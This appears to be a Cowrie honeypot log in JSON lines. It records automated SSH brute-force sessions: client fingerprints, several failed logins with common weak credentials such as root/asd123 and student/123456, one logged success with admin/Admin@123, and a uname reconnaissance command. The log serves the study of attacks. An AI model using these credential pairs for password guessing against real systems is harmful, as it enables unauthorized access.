{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:27.752928Z","src_ip":"165.154.137.186","session":"5b8cd311629b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:28.562189Z","src_ip":"165.154.137.186","session":"5b8cd311629b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":44366,"dst_ip":"10.17.0.5","dst_port":22,"session":"925f51a2e036","protocol":"ssh","message":"New connection: 165.154.137.186:44366 (10.17.0.5:22) [session: 925f51a2e036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:29.708756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:29.711734Z","src_ip":"165.154.137.186","session":"925f51a2e036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:29.834274Z","src_ip":"165.154.137.186","session":"5b8cd311629b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:29.993118Z","src_ip":"165.154.137.186","session":"925f51a2e036","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:30.838079Z","src_ip":"165.154.137.186","session":"925f51a2e036","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43418,"dst_ip":"10.17.0.5","dst_port":22,"session":"7338e2c7aeb0","protocol":"ssh","message":"New connection: 165.154.137.186:43418 (10.17.0.5:22) [session: 7338e2c7aeb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:31.900430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:31.903830Z","src_ip":"165.154.137.186","session":"7338e2c7aeb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:32.124074Z","src_ip":"165.154.137.186","session":"925f51a2e036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.177706480026245,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:32.157034Z","src_ip":"170.64.224.25","session":"2468ab542108","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:32.193563Z","src_ip":"165.154.137.186","session":"7338e2c7aeb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:33.022623Z","src_ip":"165.154.137.186","session":"7338e2c7aeb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:34.296126Z","src_ip":"165.154.137.186","session":"7338e2c7aeb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43450,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eb362a7dbd8","protocol":"ssh","message":"New connection: 165.154.137.186:43450 (10.17.0.5:22) [session: 4eb362a7dbd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:39.324905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:39.329120Z","src_ip":"165.154.137.186","session":"4eb362a7dbd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:39.596841Z","src_ip":"8.210.75.243","session":"a6b347253387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:39.604684Z","src_ip":"165.154.137.186","session":"4eb362a7dbd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:40.427830Z","src_ip":"165.154.137.186","session":"4eb362a7dbd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:41.704854Z","src_ip":"165.154.137.186","session":"4eb362a7dbd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41056,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ce22581c0dc","protocol":"ssh","message":"New connection: 165.154.137.186:41056 (10.17.0.5:22) [session: 9ce22581c0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:42.024907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:42.028633Z","src_ip":"165.154.137.186","session":"9ce22581c0dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:42.297308Z","src_ip":"165.154.137.186","session":"9ce22581c0dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:43.103246Z","src_ip":"165.154.137.186","session":"9ce22581c0dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:44.373480Z","src_ip":"165.154.137.186","session":"9ce22581c0dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.091302156448364,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:48.834394Z","src_ip":"170.64.224.25","session":"a77ffef58249","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41068,"dst_ip":"10.17.0.5","dst_port":22,"session":"a538ae59f8bc","protocol":"ssh","message":"New connection: 165.154.137.186:41068 (10.17.0.5:22) [session: a538ae59f8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:49.264227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:49.270234Z","src_ip":"165.154.137.186","session":"a538ae59f8bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:49.537120Z","src_ip":"165.154.137.186","session":"a538ae59f8bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:49.709273Z","src_ip":"8.210.75.243","session":"a05828896eeb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:50.340666Z","src_ip":"165.154.137.186","session":"a538ae59f8bc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:50.914776Z","src_ip":"165.154.137.186","session":"a538ae59f8bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:50.917725Z","src_ip":"165.154.137.186","session":"a538ae59f8bc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:51.190787Z","src_ip":"165.154.137.186","session":"a538ae59f8bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:51.194116Z","src_ip":"165.154.137.186","session":"a538ae59f8bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":45404,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e128d0af049","protocol":"ssh","message":"New connection: 8.210.75.243:45404 (10.17.0.5:22) [session: 0e128d0af049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:52.361307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:52.778716Z","src_ip":"8.210.75.243","session":"0e128d0af049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:52.781345Z","src_ip":"8.210.75.243","session":"0e128d0af049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45516,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b95f47cedd9","protocol":"ssh","message":"New connection: 165.154.137.186:45516 (10.17.0.5:22) [session: 8b95f47cedd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:56.493187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:56.496813Z","src_ip":"165.154.137.186","session":"8b95f47cedd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:56.752228Z","src_ip":"165.154.137.186","session":"8b95f47cedd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:57.520209Z","src_ip":"165.154.137.186","session":"8b95f47cedd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:58.778353Z","src_ip":"165.154.137.186","session":"8b95f47cedd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.861103773117065,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:59.546457Z","src_ip":"107.6.151.170","session":"5d4b37cc081e","protocol":"telnet"}
